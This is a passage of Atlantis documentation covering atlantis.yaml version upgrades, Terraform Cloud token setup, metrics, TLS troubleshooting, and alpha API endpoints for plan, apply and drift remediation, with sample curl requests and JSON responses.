**NOTE:** Version 2 **is not being deprecated** and there is no need to upgrade your version if you don't wish to do so. The only change from v2 to v3 is that we're parsing custom `run` steps differently. yaml # atlantis.yaml workflows: custom: plan: steps: - run: my custom command _An example workflow using a custom run step_ Previously, we used a library that would parse the custom step prior to running it. Now, we just run the step directly. This will only affect your steps if they were using shell escaping of some sort. For example, if your step was previously: yaml # version: 2 - run: "printf \'print me\'" You can now write this in version 3 as: yaml # version: 3 - run: "printf 'print me'" Upgrading From V1 To V3 [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#upgrading-from-v1-to-v3) ------------------------------------------------------------------------------------------------------------------ If you are upgrading from an **old** Atlantis version `<=v0.3.10` (from before July 4, 2018) you'll need to follow the following steps. ### Single atlantis.yaml [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#single-atlantis-yaml) If you had multiple `atlantis.yaml` files per directory then you'll need to consolidate them into a single `atlantis.yaml` file at the root of the repo. For example, if you had a directory structure: plain . ├── project1 │ └── atlantis.yaml └── project2 └── atlantis.yaml Then your new structure would look like: plain . ├── atlantis.yaml ├── project1 └── project2 And your `atlantis.yaml` would look something like: yaml version: 2 projects: - dir: project1 terraform_version: my-version workflow: project1-workflow - dir: project2 terraform_version: my-version workflow: project2-workflow workflows: project1-workflow: ... project2-workflow: ... We will talk more about `workflows` below. ### Terraform Version [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#terraform-version) The `terraform_version` key moved from being a top-level key to being per `project` so if before your `atlantis.yaml` was in directory `mydir` and looked like: yaml terraform_version: 0.11.0 Then your new config would be: yaml version: 2 projects: - dir: mydir terraform_version: 0.11.0 ### Workflows [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#workflows) Workflows are the new way to set all `pre_*`, `post_*` and `extra_arguments`. Each `project` can have a custom workflow via the `workflow` key. yaml version: 2 projects: - dir: . workflow: myworkflow Workflows are defined as a top-level key: yaml version: 2 projects: ... workflows: myworkflow: ... To start with, determine whether you're customizing commands that happen during `plan` or `apply`. You then set that key under the workflow's name: yaml ... workflows: myworkflow: plan: steps: ... apply: steps: ... If you're not customizing a specific stage then you can omit that key. For example if you're only customizing the commands that happen during `plan` then your config will look like: yaml ... workflows: myworkflow: plan: steps: ... #### Extra Arguments [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#extra-arguments) `extra_arguments` is now specified as follows. Given a previous config: yaml extra_arguments: - command_name: init arguments: - "-lock=false" - command_name: plan arguments: - "-lock=false" - command_name: apply arguments: - "-lock=false" Your config would now look like: yaml ... workflows: myworkflow: plan: steps: - init: extra_args: ["-lock=false"] - plan: extra_args: ["-lock=false"] apply: steps: - apply: extra_args: ["-lock=false"] #### Pre/Post Commands [​](https://www.runatlantis.io/docs/upgrading-atlantis-yaml.html#pre-post-commands) Instead of using `pre_*` or `post_*`, you now can insert your custom commands before/after the built-in commands. Given a previous config: yaml pre_init: commands: - "curl http://example.com" # pre_get commands are run when the Terraform version is < 0.9.0 pre_get: commands: - "curl http://example.com" pre_plan: commands: - "curl http://example.com" post_plan: commands: - "curl http://example.com" pre_apply: commands: - "curl http://example.com" post_apply: commands: - "curl http://example.com" Your config would now look like: yaml ... workflows: myworkflow: plan: steps: - run: curl http://example.com - init - plan - run: curl http://example.com apply: steps: - run: curl http://example.com - apply - run: curl http://example.com TIP It's important to include the built-in commands: `init`, `plan` and `apply`. Otherwise Atlantis won't run the necessary commands to actually plan/apply. --- # Terraform Cloud/Enterprise | Atlantis [Skip to content](https://www.runatlantis.io/docs/terraform-cloud.html#VPContent) On this page Terraform Cloud/Enterprise [​](https://www.runatlantis.io/docs/terraform-cloud.html#terraform-cloud-enterprise) ================================================================================================================ NOTE Terraform Enterprise was [recently renamed](https://www.hashicorp.com/blog/introducing-terraform-cloud-remote-state-management) Terraform Cloud and Private Terraform Enterprise was renamed Terraform Enterprise. Atlantis integrates seamlessly with Terraform Cloud and Terraform Enterprise, whether you're using: * [Free Remote State Management](https://app.terraform.io/) * Terraform Cloud Paid Tiers * A Private Installation of Terraform Enterprise Read the docs below 👇 depending on your use-case. Using Atlantis With Free Remote State Storage [​](https://www.runatlantis.io/docs/terraform-cloud.html#using-atlantis-with-free-remote-state-storage) ------------------------------------------------------------------------------------------------------------------------------------------------------ To use Atlantis with Free Remote State Storage, you need to: 1. Migrate your state to Terraform Cloud. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 2. Update any projects that are referencing the state you migrated to use the new location 3. [Generate a Terraform Cloud/Enterprise Token](https://www.runatlantis.io/docs/terraform-cloud.html#generating-a-terraform-cloud-enterprise-token) 4. [Pass the token to Atlantis](https://www.runatlantis.io/docs/terraform-cloud.html#passing-the-token-to-atlantis) That's it! Atlantis will run as normal and your state will be stored in Terraform Cloud. Using Atlantis With Terraform Cloud Remote Operations or Terraform Enterprise [​](https://www.runatlantis.io/docs/terraform-cloud.html#using-atlantis-with-terraform-cloud-remote-operations-or-terraform-enterprise) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Atlantis integrates with the full version of Terraform Cloud and Terraform Enterprise via the [remote backend](https://developer.hashicorp.com/terraform/language/settings/backends/remote) . Atlantis will run `terraform` commands as usual, however those commands will actually be executed _remotely_ in Terraform Cloud or Terraform Enterprise. ### Why? [​](https://www.runatlantis.io/docs/terraform-cloud.html#why) Using Atlantis with Terraform Cloud or Terraform Enterprise gives you access to features like: * Real-time streaming output * Ability to cancel in-progress commands * Secret variables * [Sentinel](https://www.hashicorp.com/sentinel) **Without** having to change your pull request workflow. ### Getting Started [​](https://www.runatlantis.io/docs/terraform-cloud.html#getting-started) To use Atlantis with Terraform Cloud Remote Operations or Terraform Enterprise, you need to: 1. Migrate your state to Terraform Cloud/Enterprise. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 2. Update any projects that are referencing the state you migrated to use the new location 3. [Generate a Terraform Cloud/Enterprise Token](https://www.runatlantis.io/docs/terraform-cloud.html#generating-a-terraform-cloud-enterprise-token) 4. [Pass the token to Atlantis](https://www.runatlantis.io/docs/terraform-cloud.html#passing-the-token-to-atlantis) Generating a Terraform Cloud/Enterprise Token [​](https://www.runatlantis.io/docs/terraform-cloud.html#generating-a-terraform-cloud-enterprise-token) ------------------------------------------------------------------------------------------------------------------------------------------------------ Atlantis needs a Terraform Cloud/Enterprise Token that it will use to access the API. Using a **Team Token is recommended**, however you can also use a User Token. ### Team Token [​](https://www.runatlantis.io/docs/terraform-cloud.html#team-token) To generate a team token, click on **Settings** in the top bar, then **Teams** in the sidebar. Choose an existing team or create a new one. Enable the **Manage Workspaces** permission, then scroll down to **Team API Token**. ### User Token [​](https://www.runatlantis.io/docs/terraform-cloud.html#user-token) To generate a user token, click on your avatar, then **User Settings**, then **Tokens** in the sidebar. Ensure the **Manage Workspaces** permission is enabled for this user's team. Passing The Token To Atlantis [​](https://www.runatlantis.io/docs/terraform-cloud.html#passing-the-token-to-atlantis) ---------------------------------------------------------------------------------------------------------------------- The token can be passed to Atlantis via the `ATLANTIS_TFE_TOKEN` environment variable. You can also use the `--tfe-token` flag, however your token would then be easily viewable in the process list. If you're hosting your own Terraform Enterprise installation, set the `--tfe-hostname` flag to its hostname. That's it! Atlantis should be able to perform Terraform operations using Terraform Cloud/Enterprise's remote state backend now. WARNING If you're using local execution mode for your workspaces, remember to set the `--tfe-local-execution-mode`. Otherwise you won't see the logs in Atlantis. WARNING The Terraform Cloud/Enterprise integration only works with the built-in `plan` and `apply` steps. It does not work with custom `run` steps that replace plan or apply. NOTE Under the hood, Atlantis is generating a `~/.terraformrc` file. If you already had a `~/.terraformrc` file where Atlantis is running, then you'll need to manually add the credentials block to that file: hcl ... credentials "app.terraform.io" { token = "xxxx" } instead of using the `ATLANTIS_TFE_TOKEN` environment variable, since Atlantis won't overwrite your `.terraformrc` file. --- # Metrics/Stats | Atlantis [Skip to content](https://www.runatlantis.io/docs/stats.html#VPContent) On this page Metrics/Stats [​](https://www.runatlantis.io/docs/stats.html#metrics-stats) ============================================================================ Atlantis exposes a set of metrics for each of its operations including errors, successes, and latencies. Latency and duration metrics are reported in seconds (for example, the `*_time` metrics in the Prometheus output below), while counter metrics such as successes and errors are unitless. NOTE Currently Statsd and Prometheus is supported. See configuration below for details. Configuration [​](https://www.runatlantis.io/docs/stats.html#configuration) ---------------------------------------------------------------------------- Metrics are configured through the [Server Side Config](https://www.runatlantis.io/docs/server-side-repo-config#metrics) . Available Metrics [​](https://www.runatlantis.io/docs/stats.html#available-metrics) ------------------------------------------------------------------------------------ Assuming metrics are exposed from the endpoint `/metrics` from the [metrics](https://www.runatlantis.io/docs/server-side-repo-config#metrics) server side config e.g. yaml metrics: prometheus: endpoint: "/metrics" To see all the metrics exposed from atlantis service, make a GET request to the `/metrics` endpoint. bash curl localhost:4141/metrics # HELP atlantis_cmd_autoplan_builder_execution_error atlantis_cmd_autoplan_builder_execution_error counter # TYPE atlantis_cmd_autoplan_builder_execution_error counter atlantis_cmd_autoplan_builder_execution_error 0 # HELP atlantis_cmd_autoplan_builder_execution_success atlantis_cmd_autoplan_builder_execution_success counter # TYPE atlantis_cmd_autoplan_builder_execution_success counter atlantis_cmd_autoplan_builder_execution_success 10 # HELP atlantis_cmd_autoplan_builder_execution_time atlantis_cmd_autoplan_builder_execution_time summary # TYPE atlantis_cmd_autoplan_builder_execution_time summary atlantis_cmd_autoplan_builder_execution_time{quantile="0.5"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.75"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.95"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.99"} NaN atlantis_cmd_autoplan_builder_execution_time{quantile="0.999"} NaN atlantis_cmd_autoplan_builder_execution_time_sum 11.42403017 atlantis_cmd_autoplan_builder_execution_time_count 10 ..... ..... ..... NOTE The output shown above is trimmed, since with every new version release this metric set will need to be updated accordingly as there may be a case if some metrics are added/modified/deprecated, so the output shown above just gives a brief idea of how these metrics look like and rest can be explored. Important metrics to monitor are | Metric Name | Metric Type | Purpose | | --- | --- | --- | | `atlantis_cmd_autoplan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](https://www.runatlantis.io/docs/autoplanning#autoplanning)
has thrown error. | | `atlantis_cmd_comment_plan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis plan` has thrown error. | | `atlantis_cmd_autoplan_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](https://www.runatlantis.io/docs/autoplanning#autoplanning)
has run successfully. | | `atlantis_cmd_comment_apply_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has thrown error. | | `atlantis_cmd_comment_apply_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has run successfully. | NOTE There are plenty of additional metrics exposed by atlantis that are not described above. --- # HTTPS, SSL, TLS | Atlantis [Skip to content](https://www.runatlantis.io/docs/troubleshooting-https.html#VPContent) Return to top HTTPS, SSL, TLS [​](https://www.runatlantis.io/docs/troubleshooting-https.html#https-ssl-tls) ============================================================================================== When using a self-signed certificate for Atlantis (with flags `--ssl-cert-file` and `--ssl-key-file`), there are a few considerations. Atlantis uses the web server from the standard Go library, the method name is [ListenAndServeTLS](https://pkg.go.dev/net/http#ListenAndServeTLS) . `ListenAndServeTLS` acts identically to [ListenAndServe](https://pkg.go.dev/net/http#ListenAndServe) , except that it expects HTTPS connections. Additionally, files containing a certificate and matching private key for the server must be provided. If the certificate is signed by a certificate authority, the file passed to `--ssl-cert-file` should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. If you have this error when specifying a TLS cert with a key: plain [ERROR] server.go:413 server: Tls: private key does not match public key Check that the locally signed certificate authority is prepended to the self-signed certificate. A good example is shown at [Seth Vargo terraform implementation of atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke/blob/master/terraform/tls.tf#L64-L84) For Go specific TLS resources have a look at the repository by [denji called golang-tls](https://github.com/denji/golang-tls) . For a complete explanation on PKI, read this [article](https://smallstep.com/blog/everything-pki.html) . --- # API Endpoints | Atlantis [Skip to content](https://www.runatlantis.io/docs/api-endpoints.html#VPContent) On this page API Endpoints [​](https://www.runatlantis.io/docs/api-endpoints.html#api-endpoints) ==================================================================================== Aside from interacting via pull request comments, Atlantis could respond to a limited number of API endpoints. ALPHA API - SUBJECT TO CHANGE The API endpoints documented on this page are currently in **alpha state** and are **not considered stable**. The request and response schemas may change at any time without prior notice or deprecation period. If you build integrations against these endpoints, when upgrading Atlantis you should review the release notes carefully and be prepared to update your code. Response Format [​](https://www.runatlantis.io/docs/api-endpoints.html#response-format) ---------------------------------------------------------------------------------------- The newer drift API endpoints use a consistent envelope format: json { "success": true, "data": { ... }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } The command and lock endpoints currently return their original top-level bodies rather than the drift API envelope. This includes `POST /api/plan`, `POST /api/apply`, and the existing lock endpoints. Command endpoints return `command.Result` at the top level on success or project failure, and return a top-level `{ "error": "..." }` body for request/auth/setup errors. ### Envelope Response Fields [​](https://www.runatlantis.io/docs/api-endpoints.html#envelope-response-fields) | Field | Type | Description | | --- | --- | --- | | success | boolean | `true` if the request succeeded, `false` otherwise | | data | object | The response payload (present on success) | | error | object | Error details (present on failure, `null` on success) | | request\_id | string | Unique identifier for request tracing | | timestamp | string | ISO 8601 timestamp of when the response was generated | ### Envelope Error Response Format [​](https://www.runatlantis.io/docs/api-endpoints.html#envelope-error-response-format) When an error occurs on an endpoint that uses the envelope, the response includes structured error information: json { "success": false, "data": null, "error": { "code": "VALIDATION_ERROR", "message": "missing required parameter: repository" }, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } ### Error Codes [​](https://www.runatlantis.io/docs/api-endpoints.html#error-codes) | Code | HTTP Status | Description | | --- | --- | --- | | VALIDATION\_ERROR | 400 | Invalid request parameters or body | | UNAUTHORIZED | 401 | Invalid or missing authentication token | | FORBIDDEN | 403 | Access denied (e.g., repository not allowed) | | NOT\_FOUND | 404 | Requested resource not found | | INTERNAL\_ERROR | 500 | Internal server error | | SERVICE\_UNAVAILABLE | 503 | Feature not enabled or service unavailable | Main Endpoints [​](https://www.runatlantis.io/docs/api-endpoints.html#main-endpoints) -------------------------------------------------------------------------------------- The API endpoints in this section are disabled by default, since these API endpoints could change the infrastructure directly. To enable the API endpoints, `api-secret` should be configured. Prerequisites * Set `api-secret` as part of the [Server Configuration](https://www.runatlantis.io/docs/server-configuration#api-secret) * Pass `X-Atlantis-Token` with the same secret in the request header ### POST /api/plan [​](https://www.runatlantis.io/docs/api-endpoints.html#post-api-plan) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description) Execute [atlantis plan](https://www.runatlantis.io/docs/using-atlantis#atlantis-plan) on the specified repository. #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#parameters) | Name | Type | Required | Description | | --- | --- | --- | --- | | Repository | string | Yes | Name of the Terraform repository | | Ref | string | Yes | Git reference, like a branch name | | Type | string | Yes | Type of the VCS provider (Github/Gitlab) | | Projects | \[\]string | No | List of project names to run the plan | | Paths | \[\]Path | No | Paths to the projects to run the plan | | PR | int | No | Pull Request number | NOTE At least one of `Projects` or `Paths` must be specified. No-PR API Requests When `PR` is omitted or set to `0`, Atlantis runs the request as an isolated synthetic non-PR workflow. Synthetic API workflows use generated pull identities for working directories and locks, perform hardened branch-qualified checkout, skip pull-request modified-file lookups, fail closed on team allowlist denial, and sort selected projects by configured execution order. For tag, commit SHA, or ambiguous non-branch refs, provide `base_branch` so Atlantis can verify the checked ref is reachable from the intended base branch. Branch names such as `main` or `feature/foo` are fetched as `refs/heads/`. Policy Checks When policy checks are enabled and project selection generates `policy_check` contexts, API plan/apply requests run policy checks after successful plan contexts. API apply requests with `apply_requirements: [policies_passed]` require successful policy status before applying. API Apply Plan Phase The API apply endpoint runs a plan before apply. Project-level errors in that pre-apply phase do not by themselves skip the apply phase for other eligible pending plans. Drift remediation auto-apply is stricter and fails closed when its pre-apply plan has errors. #### Path [​](https://www.runatlantis.io/docs/api-endpoints.html#path) Similar to the [Options](https://www.runatlantis.io/docs/using-atlantis#options) of `atlantis plan`. Path specifies which directory/workspace within the repository to run the plan. At least one of `Directory` or `Workspace` should be specified. | Name | Type | Required | Description | | --- | --- | --- | --- | | Directory | string | No | Which directory to run plan in relative to root of repo | | Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces)
of the plan. Use `default` if Terraform workspaces are unused. | #### Sample Request (with PR) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-with-pr) shell curl --request POST 'https:///api/plan' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{\ "Directory": ".",\ "Workspace": "default"\ }], "PR": 2 }' #### Sample Request (Drift Detection - No PR) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-drift-detection-no-pr) For drift detection workflows, omit the `PR` parameter: shell curl --request POST 'https:///api/plan' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{\ "Directory": ".",\ "Workspace": "default"\ }] }' #### Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-success) json { "Error": null, "Failure": "", "ProjectResults": [\ {\ "Error": null,\ "Failure": "",\ "PlanSuccess": {\ "TerraformOutput": ""\ },\ "RepoRelDir": ".",\ "Workspace": "default",\ "ProjectName": ""\ }\ ], "PlansDeleted": false } #### Sample Response (Error) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-error) When a request/auth/setup error occurs, the legacy endpoint returns a top-level error body: json { "error": "request \"{}\" is missing fields" } #### Sample Response (Project Error) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-project-error) When a project-level error occurs: json { "Error": null, "Failure": "", "ProjectResults": [\ {\ "Error": {},\ "Failure": "",\ "RepoRelDir": "modules/vpc",\ "Workspace": "production",\ "ProjectName": "vpc"\ }\ ], "PlansDeleted": false } Project Status Values * `success`: Project command completed successfully * `error`: An error occurred. Legacy plan/apply responses preserve the historical Go error JSON shape: non-nil project `Error` values are encoded as `{}`, and nil values are encoded as `null`. * `failed`: A failure occurred (check `failure` field) ### POST /api/apply [​](https://www.runatlantis.io/docs/api-endpoints.html#post-api-apply) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-1) Execute [atlantis apply](https://www.runatlantis.io/docs/using-atlantis#atlantis-apply) on the specified repository. #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#parameters-1) | Name | Type | Required | Description | | --- | --- | --- | --- | | Repository | string | Yes | Name of the Terraform repository | | Ref | string | Yes | Git reference, like a branch name | | Type | string | Yes | Type of the VCS provider (Github/Gitlab) | | Projects | \[\]string | No | List of project names to run the apply | | Paths | \[\]Path | No | Paths to the projects to run the apply | | PR | int | No | Pull Request number | NOTE At least one of `Projects` or `Paths` must be specified. #### Path [​](https://www.runatlantis.io/docs/api-endpoints.html#path-1) Similar to the [Options](https://www.runatlantis.io/docs/using-atlantis#options-1) of `atlantis apply`. Path specifies which directory/workspace within the repository to run the apply. At least one of `Directory` or `Workspace` should be specified. | Name | Type | Required | Description | | --- | --- | --- | --- | | Directory | string | No | Which directory to run apply in relative to root of repo | | Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces)
of the plan. Use `default` if Terraform workspaces are unused. | #### Sample Request [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request) shell curl --request POST 'https:///api/apply' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "Repository": "repo-name", "Ref": "main", "Type": "Github", "Paths": [{\ "Directory": ".",\ "Workspace": "default"\ }], "PR": 2 }' #### Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-success-1) json { "Error": null, "Failure": "", "ProjectResults": [\ {\ "Error": null,\ "Failure": "",\ "ApplySuccess": "Apply complete! Resources: 2 added, 1 changed, 0 destroyed.",\ "RepoRelDir": ".",\ "Workspace": "default",\ "ProjectName": ""\ }\ ], "PlansDeleted": false } Error Response Format Error responses follow the same legacy format as the plan endpoint. See the [plan error response example](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-error) for details. Drift Detection And Remediation (Alpha) [​](https://www.runatlantis.io/docs/api-endpoints.html#drift-detection-and-remediation-alpha) -------------------------------------------------------------------------------------------------------------------------------------- ALPHA FEATURE - SUBJECT TO CHANGE The drift detection, drift status, remediation, remediation history, and drift webhook APIs are alpha features. Their request fields, response schemas, storage semantics, webhook payloads, and safety gates may change before the feature is promoted to stable. Drift detection runs Terraform plan workflows and can execute configured hooks or custom plan steps. Destructive remediation apply requires both `--enable-drift-detection` and `--enable-drift-remediation`. ### POST /api/drift/remediate [​](https://www.runatlantis.io/docs/api-endpoints.html#post-api-drift-remediate) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-2) Execute drift remediation on the specified repository. This endpoint allows you to run plan-only (to preview remediation) or auto-apply (to automatically fix drift) operations for projects with detected drift. Prerequisites * Drift detection storage must be enabled on the Atlantis server * The repository must be in the allowed repository list (if configured) Workflow Order `POST /api/drift/remediate` with `action: "plan"` (the default) runs a fresh plan even without cached drift data — it does not require a prior `POST /api/drift/detect` call — when `projects` or `paths` are specified; an unscoped remediate (neither set) still draws its targets from cached drift. Only `action: "apply"` (or `drift_only: true`) requires a cached drift record for each targeted project/path/workspace. See the "Cached Drift Required" tip below. #### Parameters [​](https://www.runatlantis.io/docs/api-endpoints.html#parameters-2) | Name | Type | Required | Description | | --- | --- | --- | --- | | repository | string | Yes | Full repository name (e.g., `owner/repo`) | | ref | string | Yes | Git reference (branch/tag/commit) to use for remediation | | base\_branch | string | Conditional | Branch context for repo-config branch filters and undiverged checks | | type | string | Yes | Type of the VCS provider (`Github`/`Gitlab`/`Gitea`) | | action | string | No | Remediation action: `plan` (default) or `apply` | | projects | \[\]string | No | List of project names to remediate. If empty, uses drift detection data | | paths | \[\]DriftDetectionPath | No | List of repo-relative directories/workspaces to remediate | | workspaces | \[\]string | No | Filter remediation to specific workspaces | | drift\_only | boolean | No | If true, only remediate projects with detected drift | The `paths` field uses the same `DriftDetectionPath` object described under `POST /api/drift/detect`. For remediation, a path selector without `workspace` targets the default Terraform workspace only. Use the top-level `workspaces` field or path-level `workspace` values to remediate non-default workspaces. Project selectors for remediation are exact project names. Regular expression project selectors are not supported for remediation; use explicit project names or path selectors when targeting multiple projects. API path selectors are literal normalized repo-relative paths; glob patterns such as `envs/*` are not supported. Actions * `plan`: Runs a plan to preview what would change (default, non-destructive) * `apply`: Runs both plan and apply to automatically fix drift (destructive). This action requires both `--enable-drift-detection` and `--enable-drift-remediation`, plus cached drift with `has_drift: true` from a previous detection run for each targeted project/path/workspace. Apply Requirements Drift remediation apply does not bypass repository `apply_requirements`. Requirements that need pull request state, such as `approved` or `mergeable`, fail closed for non-PR remediation requests. Use plan-only remediation or normal PR workflows for projects guarded by those requirements. Webhooks Drift remediation apply does not trigger legacy `event: apply` webhooks. Use drift webhooks for drift workflow notifications. Plan Requirements Drift remediation plan-only actions and drift detection do not bypass PR-state `plan_requirements`. Requirements such as `approved` or `mergeable` cannot be satisfied without a pull request and fail closed. Ref Safety When remediation uses cached drift for a moving ref such as `main`, Atlantis compares the current checkout commit with the commit that produced the cached drift record. If the ref has moved, rerun drift detection before using `action: "apply"`. Cached Drift Required Remediation `action: "apply"` only applies cached drift records with `has_drift: true` for the same repository, ref, `base_branch`, project/path, and workspace. Use `action: "plan"` for uncached previews, then run drift detection before applying. Branch Context For branch refs such as `main`, `feature/foo`, or `refs/heads/feature/foo`, Atlantis uses `ref` as the branch context and fetches the branch namespace explicitly. Ambiguous bare refs such as `prod`, `latest`, `stable`, or `v1.2.3` require `base_branch` but are still fetched as branch names. For raw commit SHAs and explicit `refs/tags/...` refs, provide `base_branch` so repo-config branch filters and undiverged checks are evaluated against the intended branch. Use the explicit `refs/tags/...` form for tags. #### Sample Request (Plan Only) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-plan-only) shell curl --request POST 'https:///api/drift/remediate' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "action": "plan", "drift_only": true }' #### Sample Request (Auto-Apply Specific Projects) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-auto-apply-specific-projects) shell curl --request POST 'https:///api/drift/remediate' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "action": "apply", "projects": ["vpc", "ec2"], "workspaces": ["production"], "drift_only": true }' #### Sample Request (Specific Paths) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-request-specific-paths) shell curl --request POST 'https:///api/drift/remediate' \ --header 'X-Atlantis-Token: ' \ --header 'Content-Type: application/json' \ --data-raw '{ "repository": "owner/repo", "ref": "main", "type": "Github", "action": "plan", "paths": [\ {"directory": "modules/vpc", "workspace": "production"}\ ] }' #### Sample Response (Success) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-success-2) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440000", "repository": "owner/repo", "ref": "main", "action": "plan", "status": "success", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:31:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated...",\ "drift_before": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ },\ "drift_after": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ }\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "status": "success",\ "plan_output": "No changes. Infrastructure is up-to-date."\ }\ ], "summary": { "total_projects": 2, "success_count": 2, "failure_count": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440000", "timestamp": "2025-01-21T10:30:00Z" } #### Sample Response (Auto-Apply Success) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-auto-apply-success) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440001", "repository": "owner/repo", "ref": "main", "action": "apply", "status": "success", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:32:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "Terraform will perform the following actions:\n # aws_vpc.main will be updated...",\ "apply_output": "Apply complete! Resources: 0 added, 1 changed, 0 destroyed.",\ "drift_before": {\ "to_add": 0,\ "to_change": 1,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 1,\ "summary": "Plan: 0 to add, 1 to change, 0 to destroy.",\ "changes_outside": false\ },\ "drift_after": {\ "to_add": 0,\ "to_change": 0,\ "to_destroy": 0,\ "to_import": 0,\ "to_forget": 0,\ "total_changes": 0,\ "summary": "Apply completed successfully",\ "changes_outside": false\ }\ }\ ], "summary": { "total_projects": 1, "success_count": 1, "failure_count": 0 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440001", "timestamp": "2025-01-21T10:32:00Z" } #### Sample Response (Partial Failure) [​](https://www.runatlantis.io/docs/api-endpoints.html#sample-response-partial-failure) json { "success": true, "data": { "id": "550e8400-e29b-41d4-a716-446655440002", "repository": "owner/repo", "ref": "main", "action": "plan", "status": "partial", "started_at": "2025-01-21T10:30:00Z", "completed_at": "2025-01-21T10:31:00Z", "projects": [\ {\ "project_name": "vpc",\ "directory": "modules/vpc",\ "workspace": "production",\ "status": "success",\ "plan_output": "No changes. Infrastructure is up-to-date."\ },\ {\ "project_name": "ec2",\ "directory": "modules/ec2",\ "workspace": "production",\ "status": "failed",\ "error": "terraform plan failed: Error acquiring state lock"\ }\ ], "summary": { "total_projects": 2, "success_count": 1, "failure_count": 1 } }, "error": null, "request_id": "550e8400-e29b-41d4-a716-446655440002", "timestamp": "2025-01-21T10:31:00Z" } #### Status Values [​](https://www.runatlantis.io/docs/api-endpoints.html#status-values) | Status | Description | | --- | --- | | `pending` | Remediation is queued but not yet started | | `running` | Remediation is currently in progress | | `success` | All projects were remediated successfully | | `failed` | All projects failed remediation | | `partial` | Some projects succeeded, some failed | #### Error Responses [​](https://www.runatlantis.io/docs/api-endpoints.html#error-responses) | Status Code | Description | | --- | --- | | 400 | Invalid request (missing required fields or invalid action) | | 401 | Invalid or missing `X-Atlantis-Token` header | | 403 | Repository not in allowed list | | 409 | Remediation ran but all targeted projects failed | | 503 | API, drift remediation, or remediation apply is not enabled on the server | | 500 | Internal error during remediation | ### POST /api/drift/detect [​](https://www.runatlantis.io/docs/api-endpoints.html#post-api-drift-detect) #### Description [​](https://www.runatlantis.io/docs/api-endpoints.html#description-3) Trigger drift detection for projects in a repository. This endpoint initiates a plan operation to detect infrastructure drift without requiring a pull request. Results are stored for later retrieval via the drift status 